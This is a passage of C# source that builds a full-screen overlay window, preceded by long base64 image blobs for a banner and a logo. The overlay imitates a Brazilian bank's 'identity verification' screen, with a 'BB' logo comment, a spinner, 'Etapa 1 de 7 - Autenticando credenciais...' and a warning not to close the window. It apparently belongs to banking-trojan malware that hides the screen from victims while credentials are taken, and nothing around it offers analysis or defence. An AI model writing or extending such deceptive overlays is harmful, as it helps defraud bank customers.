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"; string cxLogoB64 = "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"; // Fundo escuro (navy) cobrindo tudo Panel cxBg = new Panel(); cxBg.Size = new Size(scrWCX, scrHCX); cxBg.Location = new Point(offXCX, offYCX); cxBg.BackColor = cxNavy; overlayForm.Controls.Add(cxBg); // Header dark navy (sem logo, sem cadeado) int cxHH = 45; Panel cxHdr = new Panel(); cxHdr.Size = new Size(scrWCX, cxHH); cxHdr.Location = new Point(0, 0); cxHdr.BackColor = cxNavy; cxBg.Controls.Add(cxHdr); // Area principal (abaixo do header) int cxMainH = scrHCX - cxHH; int cxBlueW = (int)(scrWCX * 0.55); // Painel azul com borda curva direita (adicionado primeiro = z-order frente) Panel cxBlueP = new Panel(); cxBlueP.Size = new Size(cxBlueW, cxMainH); cxBlueP.Location = new Point(0, cxHH); cxBlueP.BackColor = cxBlue; cxBg.Controls.Add(cxBlueP); // Borda curva no lado direito do painel azul int cxCurveR = (int)(120 * (scrHCX / 1080f)); cxBlueP.Region = CreateRoundedRegion(cxBlueW, cxMainH, cxCurveR); // Imagem no lado direito (adicionada depois = z-order atras do azul) int cxImgW = scrWCX - cxBlueW + 120; PictureBox cxBnr = new PictureBox(); try { byte[] cxBnrB = Convert.FromBase64String(cxBannerB64); cxBnr.Image = new Bitmap(new System.IO.MemoryStream(cxBnrB)); } catch { } cxBnr.SizeMode = PictureBoxSizeMode.Zoom; cxBnr.Size = new Size(cxImgW, cxMainH); cxBnr.Location = new Point(scrWCX - cxImgW, cxHH); cxBnr.BackColor = cxNavy; cxBg.Controls.Add(cxBnr); // Conteudo no painel azul (100% responsivo) float scaleCX = scrHCX / 1080f; int cxPad = (int)(scrWCX * 0.08); int cxCY = (int)(cxMainH * 0.08); // Logo BB int cxLogoSz = (int)(200 * scaleCX); try { byte[] cxLgB = Convert.FromBase64String(cxLogoB64); PictureBox cxLgP = new PictureBox(); cxLgP.Image = new Bitmap(new System.IO.MemoryStream(cxLgB)); cxLgP.SizeMode = PictureBoxSizeMode.Zoom; cxLgP.Size = new Size(cxLogoSz, cxLogoSz); cxLgP.Location = new Point(cxPad, cxCY); cxLgP.BackColor = Color.Transparent; cxBlueP.Controls.Add(cxLgP); } catch { } cxCY += (int)(cxLogoSz + 30 * scaleCX); Label cxTitle = new Label(); cxTitle.Text = "Verifica\u00E7\u00E3o de Identidade"; cxTitle.Font = new Font("Segoe UI", 30f * scaleCX, FontStyle.Bold); cxTitle.ForeColor = Color.White; cxTitle.AutoSize = false; cxTitle.Size = new Size((int)(scrWCX * 0.46), (int)(80 * scaleCX)); cxTitle.Location = new Point(cxPad, cxCY); cxTitle.BackColor = Color.Transparent; cxBlueP.Controls.Add(cxTitle); cxCY += (int)(90 * scaleCX); Label cxSubt = new Label(); cxSubt.Text = "Estamos confirmando sua identidade e\no Ambiente do computador."; cxSubt.Font = new Font("Segoe UI", 13f * scaleCX); cxSubt.ForeColor = Color.FromArgb(200, 215, 255); cxSubt.AutoSize = false; cxSubt.Size = new Size((int)(scrWCX * 0.44), (int)(70 * scaleCX)); cxSubt.Location = new Point(cxPad, cxCY); cxSubt.BackColor = Color.Transparent; cxBlueP.Controls.Add(cxSubt); cxCY += (int)(85 * scaleCX); // Spinner int cxSpSz = (int)(50 * scaleCX); Panel cxSpin = new Panel(); cxSpin.Size = new Size(cxSpSz, cxSpSz); cxSpin.Location = new Point(cxPad, cxCY); cxSpin.BackColor = Color.Transparent; cxSpin.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int m = 4; int d = cxSpSz - 2*m; using (Pen bgP = new Pen(Color.FromArgb(60, 255, 255, 255), 3f * scaleCX)) { e.Graphics.DrawEllipse(bgP, m, m, d, d); } using (Pen aP = new Pen(Color.White, 3f * scaleCX)) { aP.StartCap = System.Drawing.Drawing2D.LineCap.Round; aP.EndCap = System.Drawing.Drawing2D.LineCap.Round; e.Graphics.DrawArc(aP, m, m, d, d, (float)(angle * 180 / Math.PI), 90); } }; cxBlueP.Controls.Add(cxSpin); cxCY += (int)((cxSpSz) + 25 * scaleCX); // Etapa label Label lblSubCX = new Label(); lblSubCX.Text = "Etapa 1 de 7 - Autenticando credenciais..."; lblSubCX.Font = new Font("Segoe UI", 13f * scaleCX, FontStyle.Bold); lblSubCX.ForeColor = Color.White; lblSubCX.AutoSize = false; lblSubCX.Size = new Size((int)(scrWCX * 0.42), (int)(35 * scaleCX)); lblSubCX.Location = new Point(cxPad, cxCY); lblSubCX.TextAlign = ContentAlignment.MiddleLeft; lblSubCX.BackColor = Color.Transparent; cxBlueP.Controls.Add(lblSubCX); cxCY += (int)(50 * scaleCX); // Progress bar int cxBarW = (int)(scrWCX * 0.35); int cxBarH = Math.Max(6, (int)(8 * scaleCX)); Panel cxBarBg = new Panel(); cxBarBg.Size = new Size(cxBarW, cxBarH); cxBarBg.Location = new Point(cxPad, cxCY); cxBarBg.BackColor = Color.FromArgb(80, 120, 200); cxBlueP.Controls.Add(cxBarBg); Panel cxBarFill = new Panel(); cxBarFill.Size = new Size(0, cxBarH); cxBarFill.Location = new Point(0, 0); cxBarFill.BackColor = cxOrange; cxBarBg.Controls.Add(cxBarFill); cxCY += (int)(35 * scaleCX); Label cxWarn = new Label(); cxWarn.Text = "N\u00E3o feche esta janela."; cxWarn.Font = new Font("Segoe UI", 11f * scaleCX); cxWarn.ForeColor = Color.FromArgb(180, 200, 255); cxWarn.AutoSize = false; cxWarn.Size = new Size((int)(scrWCX * 0.30), (int)(30 * 